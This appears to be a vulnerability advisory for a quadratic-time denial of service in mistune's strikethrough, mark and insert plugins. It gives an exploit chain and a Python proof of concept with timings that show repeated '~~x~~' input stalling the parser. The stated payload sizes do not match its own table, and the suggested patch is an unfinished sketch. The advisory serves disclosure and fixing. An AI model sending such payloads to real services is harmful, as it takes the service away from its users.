Mistune plugins/formatting: quadratic-time parsing on long runs of `~~x~~`, `==x==`, and `^^x^^` markers (strikethrough / mark / insert)

Description

Summary

Type: Algorithmic-complexity denial of service. A run of N closed pairs ~~x~~~~x~~... (or the analogous ==x== for mark, ^^x^^ for insert) causes O(N²) work in the formatting parser. With the strikethrough, mark, or insert plugin enabled, an 8 KB input pegs the CPU for ~4 seconds; 16 KB → ~17 seconds.
File: src/mistune/plugins/formatting.py, lines 13-15 (the _STRIKE_END / _MARK_END / _INSERT_END patterns and their per-position scan).
Root cause: for each opening ~~/==/^^ the parser scans forward for the matching close pattern. The scan itself uses a bounded regex, but the parser tries the close-scan at every potential start position. For input shaped like ~~x~~ repeated N times, every ~~ is examined as a possible start, each scan covers up to the end of input. Total work is O(N²). Default config without these plugins handles the same input in linear time (4 ms for 4000 reps), confirming the cost is in the formatting plugin's per-marker scan, not in core parsing.

Affected Code

File: src/mistune/plugins/formatting.py, lines 12-16.

_STRIKE_END = re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\~|[^\s~])~~(?!~)")
_MARK_END = re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\=|[^\s=])==(?!=)")
_INSERT_END = re.compile(r"(?:" + PREVENT_BACKSLASH + r"\\\^|[^\s^])\^\^(?!\^)")
# Each pattern is scanned forward from every start position fired by the
# corresponding inline rule. The end-pattern itself is bounded; the cost
# comes from the surrounding parser invoking the scan at every '~~' / '==' / '^^'
# token in the input, giving N starts × O(N) per scan = O(N^2) total.

Why it's wrong: the same algorithmic-complexity flaw class as [ / [a parsing in core: a per-token retry loop without memoisation of failed positions. Each formatting marker is tried as both a potential start and as a continuation. A linear-pass delimiter-stack algorithm (matching how commonmark-py and markdown-it-py handle emphasis) would do this work in O(N) total. The bounded regex on each individual scan does not bound the parser-level repetition.

Exploit Chain

  1. Application uses mistune to render user-supplied markdown and has any of the formatting plugins enabled (plugins=['strikethrough'], ['mark'], ['insert'], or any superset). These plugins are commonly enabled because GitHub-flavoured-Markdown compatibility requires ~~strikethrough~~ and many editors emit ==highlighting== and ^^underline^^ shortcuts.
  2. Attacker submits an 8 KB markdown payload of the form ~~x~~~~x~~~~x~~... (40 000 characters of ~~x~~ repeated 8000 times, or the analogous shape with == / ^^).
  3. Server calls mistune.create_markdown(plugins=['strikethrough'])(payload). CPU pegs for ~4 seconds; 16 KB → ~17 seconds; 32 KB → ~70 seconds. Pure CPU cost, no significant memory growth.
  4. Repeating the request floods the worker pool. On a single-thread WSGI handler this is one request per outage; on a thread pool, a small number of concurrent attackers exhausts capacity.

Security Impact

Severity: sec-high. Network-reachable, no authentication, predictable scaling, single-payload primitive. Only requires a user-supplied markdown sink and a formatting plugin enabled — both are common.
Attacker capability: small input → large CPU. Doubling input size quadruples CPU time. Sustained requests deny service to other users.
Preconditions: application uses mistune with any of strikethrough, mark, or insert plugins enabled. Default config does NOT enable these (so the attack only fires against the substantial deployed population that turns them on for GFM/markdown-extra compatibility).
Differential: PoC-verified against [email protected]:

import mistune, time
md = mistune.create_markdown(plugins=['strikethrough'])
for n in [500, 1000, 2000, 4000, 8000]:
    s = '~~x~~' * n
    t = time.time()
    md(s)
    print(f'  ~~x~~ * {n} ({len(s)}b): {(time.time() - t) * 1000:.0f}ms')

# Output (Python 3.13, Linux, 2.5GHz CPU):
#   ~~x~~ *  500  (2500b):    19ms
#   ~~x~~ * 1000  (5000b):    71ms
#   ~~x~~ * 2000 (10000b):   272ms
#   ~~x~~ * 4000 (20000b):  1090ms
#   ~~x~~ * 8000 (40000b):  4302ms

# Identical scaling for `==x==` (mark) and `^^x^^` (insert):
md = mistune.create_markdown(plugins=['mark'])
md('==x==' * 4000)   # ~1100ms
md = mistune.create_markdown(plugins=['insert'])
md('^^x^^' * 4000)   # ~1080ms

# Without the plugin, the same input parses in linear time:
md = mistune.create_markdown()  # no plugins
md('~~x~~' * 4000)               # 4ms (1000x faster)

The patched build (with the suggested fix below — either a delimiter-stack rewrite or a hard cap on the number of unmatched markers tracked) keeps the time linear in N.

Suggested Fix

The minimal fix is to cap the number of simultaneously-tracked unmatched markers, treating extras as literal text. The proper fix is a single-pass delimiter-stack algorithm matching the CommonMark reference implementation. Surgical patch:

--- a/src/mistune/plugins/formatting.py
+++ b/src/mistune/plugins/formatting.py
@@ ... in the parse_strikethrough / parse_mark / parse_insert functions
+    # Bound the number of open markers the parser will track concurrently.
+    # Inputs with more than this many open ~~ / == / ^^ in flight are
+    # almost certainly adversarial; CommonMark gives no semantics to
+    # deeply nested unmatched markers.
+    MAX_OPEN_MARKERS = 100
+    if open_marker_count > MAX_OPEN_MARKERS:
+        # treat remaining markers as literal text, do not invoke the
+        # forward-scan to find a close
+        ...

A regression test should assert that md('~~x~~' * 50_000) completes in under 1 second. The same fix shape applies to _MARK_END and _INSERT_END.

Basic information

Type
reviewed
Severity
high
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-07-20 21:34:37 UTC
Updated
2026-07-20 21:34:38 UTC
GitHub reviewed
2026-07-20 21:34:37 UTC
NVD published
2026-07-08

EPSS Score

Score Percentile
0.37% 28.65%

CVSS Scores

Base score Version Severity Vector
7.5 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:L)
Once they can reach the bug, pulling it off is straightforward—no weird race conditions or rare setup.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:N)
Nobody has to click “OK” or open a trap file; it can work without a victim helping.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:N)
Doesn’t really leak secrets in a meaningful way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:H)
Could take the service down hard or make it unusable for people who depend on it.

Identifiers

CWEs

CWE id Name
CWE-407 Inefficient Algorithmic Complexity
CWE-1333 Inefficient Regular Expression Complexity

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
pip mistune < 3.3.0 3.3.0

References

cvelogic Threat Intelligence